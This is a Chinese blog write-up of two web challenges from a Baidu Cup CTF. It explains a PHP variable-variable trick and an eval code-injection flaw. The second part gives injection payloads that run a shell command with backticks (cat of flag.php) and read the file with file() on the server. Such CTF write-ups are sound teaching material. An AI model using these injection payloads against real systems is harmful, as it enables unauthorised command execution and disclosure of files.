i春秋 百度杯”CTF比赛(二月场) Misc&&web题解 By Assassin

学习web,搞起来! 百度杯”CTF比赛(二月场)训练赛传送门爆破-1打开题目我们直接就看到源码,加上注释如下 摘要由CSDN通过智能技术生成

学习web,搞起来!
百度杯”CTF比赛(二月场)训练赛传送门

爆破-1

打开题目我们直接就看到源码,加上注释如下

<?php
include "flag.php";                 //包含flag.php这个文件
$a = @$_REQUEST['hello'];     //$a这个变量请求变量hello的值
if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。
    die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);");       //如果匹配输出\$\$a的值
show_source(__FILE__);
?>

而且通过题目链接可以知道hello变量一定是6位的,一开始真以为是爆破了,但是一想肯定很大,不可能。而且我们发现 $$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如

<?php
$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>

上面代码会输出hello world!
PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

于是我们在url上构造/?hello=GLOBALS,结果就直接出来了!根本不是爆破好吧!

爆破-2

这时候代码为

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

我们可以看到第一种方法不好用了,所以另辟他径!我们注意到flag.php,会不会答案就在这个里面呢?而且”var_dump($a);”这个字符串是不是可以注入呢?明显是可以的!

构造payload如下

?hello=);echo%20`cat%20./flag.php`;//

然后这里面就必须讲一下一些小技巧!第一单引号,双引号,反引号在bash中的作用!
(PS:反引号位 (`) 位于键盘的Tab键的上方、1键的左方。注意与单引号(‘)位于Enter键的左方的区别。)

反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下:
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST

单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号,shell会把空格后的字符串解释为命令。
单引号和双引号的区别。单引号告诉shell忽略所有特殊字符,而双引号忽略大多数,但不包括$、\、`。
栗子:
[root@localhost tmp]# echo ‘the date is `date`’
the date is `date`
[root@localhost tmp]# echo “the date is `date`”
the date is Fri Oct 9 00:11:56 CST 2015

是不是发现了什么!eval( “var_dump($a);”);正式双引号!!!我们就可以用`了!
然后用cat读取输出即可!

这里还收集了其他的姿势!payload如下:

?hello=$a);print_r(file("./flag.php")); //
hello=
  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值